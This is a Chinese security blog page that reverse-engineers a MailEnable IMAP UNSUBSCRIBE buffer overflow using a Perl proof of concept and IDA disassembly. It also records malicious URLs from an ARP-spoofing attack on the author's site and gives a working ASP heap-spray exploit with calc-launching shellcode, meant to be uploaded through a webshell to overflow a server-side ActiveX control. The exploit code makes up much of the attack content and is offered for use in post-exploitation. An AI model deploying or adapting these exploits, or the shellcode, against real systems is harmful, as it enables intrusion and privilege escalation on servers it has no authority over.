MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出

【技术原创】MailEnable开发指南 前言 MailEnable提供端到端的解决方案,用于提供安全的电子邮件和协作服务。引用自官方网站的说法:最近的一项独立调查报告称MailEnable是世界上最受欢迎的Windows邮件服务器平台。 对于MailEnable的开发者API,我在官方网站上只找到了AJAX API的说明文档,所以本文将要尝试编写Python脚本,实现对MailEnable邮件的访问,记录开发细节,开源代码。 简介 本文将要介绍以下内容: ◼环境搭建 ◼开发细节 ◼开源代码MailEnableManage.py 环境搭建 1.安装 阅读详情
看了下MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出问题。有点麻烦,看了快两天才弄清楚,希望没看错。主要是用IDA反汇编,然后结合OD一起看的。先用perl写了个脚本测试,代码很简单:
代码:

#!/use/bin/perl

use strict;
use warnings;
use IO::Socket;

if( @ARGV != 3 )
{
    print "imail_subscribe.pl  <host>   <username>   <password>/n";
    exit( -1 );
}

my $host = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2];

my $sock = IO::Socket::INET->new( PeerHost=>$host, PeerPort=>"143", proto=>"tcp" ) || die "Connect error./n";

my $res = <$sock>;
print $res;
if( $res !~ /OK/ )
{
    exit( -1 );
}

# login
print $sock "0 LOGIN $user $pass/r/n";
$res = <$sock>;
if( ! defined($res) )
{
    exit(-1);
}

print $res;
if( $res !~ /OK/ )
{
    exit(-1);
}

# select
print $sock "2 SELECT INBOX/r/n";
while( <$sock> )
{
    print $_;
    if( $_ =~ /2 OK/ || $_ =~ /2 BAD/ )
    {
        last;
    }
}

my $test_code = "AB" x 800;
print $sock "3 UNSUBSCRIBE $test_code/r/n";

$res = <$sock>;
if( ! defined($res) )
{
    exit(-1);
}
print $res;

#exit
print $sock "4 LOGOUT/r/n";
print <$sock>;

$sock->close();


第一个断点下在0x00424631这里。至于为什么,理由很简单,这里是在判断命令,而且恰好是开始判断UNSUBSCRIBE命令,我们从头开始走下去,看看到底出了什么问题。开始是一个字符串比较,随后一个拷贝,走到下面出现异常。
代码:

.text:00424662                 add     esp, 8
.text:00424665                 mov     eax, [ebp+arg_0]
.text:00424668                 push    eax
.text:00424669                 call    sub_419E90


第二次跟进sub_419E90,一开始,就分配了栈内存,
代码:

.text:00419E93                 sub     esp, 588h


随后调用sub_412430是判断状态,当前是否可以执行UNSUBSCRIBE命令。判断完成后我们会跳到下面这里,查找空格解析命令和参数。
代码:

.text:00419F00                 push    offset asc_488DF8 ; " "
.text:00419F05                 mov     edx, [ebp+arg_0]
.text:00419F08                 add     edx, 1BACh
.text:00419F0E                 push    edx             ; char *
.text:00419F0F                 call    _strstr         ; 查找空格


参数解析完成后,再次转跳到下面的位置,注意这里会进行拷贝,将传入的参数拷贝到栈内存中。
代码:

.text:00419F7C                 push    800h            ; int
.text:00419F81                 mov     eax, [ebp+var_584]
.text:00419F87                 add     eax, 1
.text:00419F8A                 push    eax             ; char *
.text:00419F8B                 lea     ecx, [ebp+var_480]
.text:00419F91                 push    ecx             ; char *
.text:00419F92                 call    sub_43B100      ; 安全拷贝


跟进sub_43B100子函数,代码如下:
代码:

.text:0043B100                 push    ebp
.text:0043B101                 mov     ebp, esp
.text:0043B103                 push    ecx
.text:0043B104                 mov     eax, [ebp+arg_4]
.text:0043B107                 push    eax             ; char *
.text:0043B108                 call    _strlen
.text:0043B108
.text:0043B10D                 add     esp, 4
.text:0043B110                 mov     [ebp+var_4], eax
.text:0043B113                 mov     ecx, [ebp+var_4]
.text:0043B116                 cmp     ecx, [ebp+arg_8]
.text:0043B119                 jge     short loc_43B12D
.text:0043B119
.text:0043B11B                 mov     edx, [ebp+arg_4]
.text:0043B11E                 push    edx             ; char *
.text:0043B11F                 mov     eax, [ebp+arg_0]
.text:0043B122                 push    eax             ; char *
.text:0043B123                 call    _strcpy
.text:0043B123
.text:0043B128                 add     esp, 8
.text:0043B12B                 jmp     short loc_43B150
.text:0043B12B
.text:0043B12D  ---------------------------------------------------------------------------
.text:0043B12D
.text:0043B12D loc_43B12D:       ; CODE XREF: sub_43B100+19
.text:0043B12D                 mov     ecx, [ebp+arg_8]
.text:0043B130                 sub     ecx, 1
.text:0043B133                 push    ecx             ; size_t
.text:0043B134                 mov     edx, [ebp+arg_4]
.text:0043B137                 push    edx             ; char *
.text:0043B138                 mov     eax, [ebp+arg_0]
.text:0043B13B                 push    eax             ; char *
.text:0043B13C                 call    _strncpy
.text:0043B13C
.text:0043B141                 add     esp, 0Ch
.text:0043B144                 mov     ecx, [ebp+arg_0]
.text:0043B147                 add     ecx, [ebp+arg_8]
.text:0043B14A                 mov     byte ptr [ecx-1], 0
.text:0043B14E                 xor     eax, eax
.text:0043B14E
.text:0043B150
.text:0043B150 loc_43B150:              ; CODE XREF: sub_43B100+2B
.text:0043B150                 mov     esp, ebp
.text:0043B152                 pop     ebp
.text:0043B153                 retn    0Ch


可以看到,这里先判断源字符串的长度是否大于0x800,如果大于就调用strncpy拷贝0x800-1个字节。如果小于,就调用strcpy拷贝所有的字符串。但是搞笑的是,在sub_43B100的父函数中分配的内存是0x588,而调用sub_43B100的时候,传递的最大长度是0x800。伪代码如下:
代码:

void my_strcpy( char *dst, char *src, int len )
{
    if( strlen( src ) >= len )
    {
        strncpy( dst, src, len - 1 );
    }
    else
    {
        strcpy( dst, src );
    }
}

void vuln( char *src, ..... )
{
    char dst[0x480] = { 0 };
    
    my_strcpy( dst, src, 0x800 );
    
    .....
}

这里的长度有限制,覆盖不到SEH。虽然可以覆盖到vuln的返回地址,但是在vuln返回之前就异常了,在一次strlen调用中,eax被字符串覆盖改写导致读取异常。小心的调整字符串,应该是可以顺利执行下去最后执行shellcode的,不过我没那耐心,也没那时间。
 
 
 
今天早上起来,发现主页又被arp挂马了。还好只是首页,blog没有问题。被插入的网页为:http://b0067.com/wm/5.htm。查看代码,如下:
代码:

<html>
<iframe src=01.htm width=0 height=0></iframe>
<iframe src=02.htm width=100 height=0></iframe>
<iframe src=03.htm width=100 height=0></iframe>
</html>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1368741.js"></script>
<script language="javascript" src="http://count45.51yes.com/click.aspx?id=459775497&logo=1"></script>
<script src='http://s2.cnzz.com/stat.php?id=804850&web_id=804850' language='JavaScript' charset='gb2312'></script>


分别看了那几个网页,一个是ms06014漏洞,一个是联众大厅的ActiveX溢出。一个木马是http://b0067.com/aa.exe,加了壳,没去拆开看。看来是ARP欺骗挂了整个C类,又是城门失火,殃及我啊。

123帮忙把壳拆掉了,地址是http://icylife.net/pic/aaun.rar,盗号,貌似还感染html文件,并且传播局域网。
 
 
webshell中上传asp文件调用服务器ActiveX控件溢出获取shell
做windows系统渗透测试的时候有webshell了,但是拿不到shell,用来提升权限,也是个很郁闷的事情。一般来说,使用mdb jet引擎的溢出比较常见,但是有时候根据服务器上安装的第三方软件,使用一些新的方法,或许能有一点转机。这里主要描述一下调用activex溢出服务器的思路,方法很简单。

      activex溢出一般都是用来攻击客户端的,但是这里,主要就是利用了asp是在服务端执行的,而且可以调用activex控件的原理。废话不多说了,一小段测试性质的代码,在服务器上放这么个asp文件,远程访问一下,服务器就执行计算器。代码没什么奇特的地方,把JS放到<%中执行就行了,主要是提供点思路。

————————很傻很天真的分割线————————
代码:

<%@ LANGUAGE = JavaScript %>
<%

var act=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1");

//run calc.exe
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var bigblock = unescape("%u9090%u9090");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<300; x++) memory[x] = block + shellcode;

var buffer = '';

while (buffer.length < 1319) buffer+="A";

buffer=buffer+"/x0a/x0a/x0a/x0a"+buffer;

act.hgs_startNotify(buffer);

%>
 
【实战】Cyrus IMAP Server IMAPMAGICPLUS预验证远程缓冲区溢出漏洞分析 Cyrus IMAP Server IMAPMAGICPLUS预验证远程缓冲区溢出漏洞分析创建时间:2004-12-06文章属性:原创文章提交:san (san_at_xfocus.org)Cyrus IMAP Server IMAPMAGICPLUS预验证远程缓冲区溢出漏洞分析Stefan Esser发现了Cyrus IMAP Server的四个漏洞,其中IMAPMAGICPLUS预验证远程缓冲 阅读详情

相关推荐

【实战】Foxmail 5远程缓冲区溢出漏洞

Foxmail 5远程缓冲区溢出漏洞创建时间:2004-03-22 更新时间:2004-03-22文章属性:原创文章提交:root (webmaster_at_xfocus.org)安全焦点/" target="_blank">http://www.xfocus.net>注:本文是2004年2月xfocus成员在内部技术交流中提出的,在此之前,启明星辰技术人员已经发现这一漏洞,但未公开细节,xfo

FreeXploiT 1886

免费邮件服务器:MailEnable

官方网站地址:www.mailenable.com 下载最新版的StandardEdition (FREE) 安装之前请留意安装指引就可以了,安装上去之后,直接就可以使用了 安装指引上写的清清楚楚:【smtp服务不要开启,因为MailEnable已经集成了】 注意事项: 1、在选择WebMail功能时,不选上也是可以的 2、Domain设置为自己的域名 3、例如新建账号info@...

weixin_30664615的博客 1202

CVE-2018-19518- imap 远程命令执行漏洞分析

CVE-2018-19518 IMAP 远程命令执行漏洞分析 0x00 漏洞介绍 IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143。在php中调用的是imap_open函数 imap_open( string $mailbox,string $user,string $password) 其中参数mailbox,是用来连接邮箱服务器的。它会调用rsh来连接远程shell而,debian/ubu

lyy0xfff的博客 3827

从入门到精通:ma/mailserver新手部署与配置教程

ma/mailserver是一个简单且功能全面的邮件服务器解决方案,基于Docker构建,让新手也能轻松部署自己的邮件系统。本教程将带你从基础安装到高级配置,一步步掌握邮件服务器的搭建技巧。 ## 🚀 准备工作:环境与依赖 在开始部署ma/mailserver前,请确保你的系统满足以下要求: - Docker Engine (20.10+) 和 Docker Compose (v2+) -

gitblog_00404的博客 705

Qt QChart实战:从零打造一个实时温度监控仪表盘(附完整源码)

本文详细介绍了如何使用Qt QChart模块从零构建一个工业级实时温度监控仪表盘。通过实战案例,展示了波形图的绘制、坐标轴配置、数据流模拟等关键技术,并提供了完整的源码实现,帮助开发者快速掌握Qt在数据可视化领域的应用。

weixin_42537919的博客 246

【SAP中的框架协议】

在SAP中,框架协议(Framework Agreement) 是企业与供应商签订的长期采购约束文件,用于简化重复性采购流程、锁定交易条款并降低管理成本。

m0_73548864的博客 1299

使用Winmail Server 轻松架设邮件服务器

详细内容大家可以到这里去看看: [url]http://www.magicwinmail.com/winmailsetup.htm[/url] 我自己也亲自架设了一下,经测试确实不错,呵呵,如果可能等自己有服务器和固定IP了一定用这个弄一个:)...

mathsfan的blog 535

Win32逆向必备:X32dbg中窗口句柄查看与消息断点的高级用法

本文深入探讨了X32dbg在Win32逆向工程中的高级应用,重点解析窗口句柄查看与消息断点的实战技巧。通过MFC程序逆向案例,详细介绍了如何利用窗口句柄层次结构、条件断点设置及消息映射表定位等技术,快速捕获关键业务逻辑,提升逆向分析效率。

nginx7reverse的博客 1017

Windows手动搭建邮箱服务器教程,操作简单易上手

简介: 本章介绍搭建邮箱服务器,安装文件地址:http://download.youkuaiyun.com/download/qq496013218/10049904,本地搭建邮箱服务器使用的是易邮的邮件服务器。 操作步骤: 1、打开软件首次展示页面,如下图: 2、根据图中所描述的文字填写对应的信息,账号和密码,如下图: 3、配置单域名,其实就是相当于1

_William_Cheung的博客 2万+

YOLOv8/YOLOv11目标检测系统与多目标跟踪检测系统,使用PySide6搭建目标检测系统,支持目标检测、分割、姿势估计、旋转框,用户端系统+后台管理系统可用于大论文凑工作量或毕设必备

YOLOv8/YOLOv11目标检测系统与多目标跟踪检测系统,目标检测、分割、姿势估计、obb(旋转框),用户端系统+后台管理系统开发实战,可用于大论文凑工作量或毕设必备,全网最详细教程,系统支持 目标检测、分割、姿势估计、obb(旋转框)等模型进来检测,是一个通用的目标跟踪与目标检测系统,适配多种场景如:鱼苗检测与跟踪、行人多目标跟踪、车辆多目标跟踪、牛只行为识别与跟踪、口罩佩戴检测、安全帽佩戴检测、火灾检测等。

在职AI算法工程师,擅长计算机视觉,YOLO目标检测、分割等,擅长web、pyqt界面可视化,好内容持续更新中,来这里跟大家一起学习,共同进步 1万+

【VTKExamples】PolyData-1:: CellEdgeNeighbors & CellPointNeighbors 检索Cell边相邻的Cells & 检索Cell点相邻的Cells

本文主要分享VTKExample中两个样例CellEdgeNeighbors.cxx & CellPointNeighbors.cxx,了解VTK中如何对Cell进行邻域检索!输入模型 基于Edge检索结果 基于Point检索结果目录前言1. 基于Edge检索核心代码2.基于Point检索核心代码3.基于Edge检索样例代码4. 基于Point检索样例代码1.

qq_40041064的博客 673

IMail 8.13远程DELETE命令缓冲区溢出漏洞

 一。邮件技术资讯网备注:这个漏洞Imail Server 8.13中发现。据消息在IMail Server 8.14及更高版本已修补,请各位及时下载最新版的补丁,本站在早前已提供下载,地址如下:A)Imail 8.14下载地址:http://www.5dmail.net/down/list.asp?id=901B)Imail 8.14补丁http://www.5dmail.net

想邮就邮 1544

NVIDIA Isaac Sim scene_synthesizer 创建机器人操控任务场景使用教程

【摘要】Scene Synthesizer是一个用于3D场景程序化生成的Python库,专为机器人仿真训练设计。文章介绍了其安装方法(pip或git)和核心概念:1) 资产(Asset)系统支持多种3D模型格式和参数化尺寸调整;2) 场景(Scene)管理通过有向无环图组织对象,支持基于锚点的层级合成;3) 提供了丰富的程序化资产(如橱柜、货架、餐具等)和6个预定义厨房场景。该库采用仿真器无关架构,强调物理仿真的多样性和扩展性,相比现有数据集和生成模型能创建更复杂的交互场景,适用于机器人操作任务训练。

机器人控制与仿真应用 1151

Web 版翻译者资料库

本项目是桌面版《翻译者资料库》的 Web 移植版,基于 Spring Boot 3.3、Thymeleaf、Bootstrap 5.3 与 MySQL 8.0 构建。它面向翻译写作提供资料、词汇、句库、文本工具、对照制作、查找、备份恢复及旧库迁移等功能,完整继承桌面版核心业务规则,支持一键启动与离线访问。

howard2005的专栏 181

STM32 stack_size和heap_size大小设置的意义

在使用STM32编程时,一般情况下我们不会关注堆栈空间的大小,因为在STM32的启动文件中,已经帮我们预先设置好了堆栈空间的大小。如下图所示的启动代码中,Stack栈的大小为:0x400(1024Byte),Heap堆的大小为:0x200(512Byte)。 1、若工程中使用的局部变量较多,定义的数据长度较大时,若不调整栈的空间大小,则会导致程序出现栈溢出,程序运行结果与预期的不符或程序跑飞。这时我们就需要手动的调整栈的大小。 2、当工程中使用了malloc动态分配内存空间时,这时分配.......

zxm8513优快云博客 3万+

[低代码 + AI] 明道云与 Dify 的三种融合实践方式详解

融合方式技术路径优点局限或注意事项UI 嵌入iframe 表单嵌入快速集成、用户体验一致无法自定义交互逻辑明道云调用 DifyAPI 请求节点工作流自动化、逻辑灵活有 timeout 限制、需优化 promptDify 调用明道云插件或 API 调用节点可查询实际业务数据、增强 AI 智能需理解明道云 API 结构、权限设置复杂明道云与 Dify 的结合为低代码平台注入了智能动力。

技术小甜甜:传播可落地技术,帮助个人和企业降低解决真实场景问题的成本 1187

副队长BootStrap5探究(2)--按钮与按钮组

本文系统讲解Bootstrap 5按钮组件的使用与底层原理。通过CDN引入框架,掌握btn基础类及primary、success等主题色应用,学习轮廓按钮(btn-outline-*)、尺寸控制(btn-lg/sm)、块级布局(d-block)和禁用状态(disabled)等实用功能。结合源码解析,深入理解其基于CSS的圆角、过渡动画、伪类交互实现机制,实现“快速上手+原理掌握”的双重目标,助力前端技能进阶。

编程副队长 697

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

SpringBoot「衣依」服装销售平台:144个Java文件180个接口,从挑衣服到收货评价整条链路都在

# SpringBoot「衣依」服装销售平台:144个Java文件180个接口,从挑衣服到收货评价整条链路都在 > 这是一套基于 Spring Boot 的服装销售平台源码,配套 `db.sql` 建表脚本,业务覆盖商品展示、购物车、订单流转、收货地址、订单评价、商品评论、在线客服、轮播图和资讯。形态是**前后台双端**:前台是顾客逛的商城,后台是管理员管的控制台。本文带你看清里面有什么、怎么跑

面朝大海 229

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

微信小程序-wxs

在微信开发者工具中右键创建.wxs后缀的文件。每个.wxs文件也是一个独立模块,同样使用导出内容。示例(文件return d;FOO: foo,bar: bar(外联定义参考官方文档)

dreams_dream的博客 379

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

汽车租赁系统(协同过滤算法、支付宝沙盒支付、 腾讯地图接入、WebSocket在线沟通、ECharts运营分析、三角色协同、还车费用处理)

本系统基于B/S架构,采用前后端分离设计,集成SpringBoot3、Vue2、MySQL等技术,实现用户、商家、管理员三角色协同管理。亮点包括:车型加权推荐与话题协同过滤算法提升个性化体验;支付宝沙盒支付、腾讯地图定位、WebSocket在线沟通保障流程闭环;还车费用智能计算与ECharts多维数据可视化助力运营分析,全面支持租车全生命周期管理。

paopaokaka_luck的博客 168

设计模式(unity游戏研发版)

当你使用图形用户界面类时通常会遇到一个问题。比如,你创建了自定义按钮类并允许客户端在按钮中注入自定义代码,这样当用户按下按钮时就会触发这些代码。观察者模式允许任何实现了订阅者接口的对象订阅发布者对象的事件通知。你可在按钮中添加订阅机制,允许客户端通过自定义订阅类注入自定义代码。在Unity中,这就像UnityEvent在Inspector中绑定多个回调。

m0_63330263的博客 122

实战项目:哈米音乐(前六章)

本文整理哈米音乐实战项目前六章核心知识点,涵盖技术选型、数据库建模、Maven聚合工程、MyBatis逆向工程、SSM架构整合、泛型反射抽取公共Dao与Service、文件流代码生成器,附核心易错点速查表,便于复习备考。

既然你都点开这里了,那可以给我点个关注吗?可以吗?可以吗? 272
上一篇: 列举进程
下一篇: 重装windows update服务和BITS服务
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值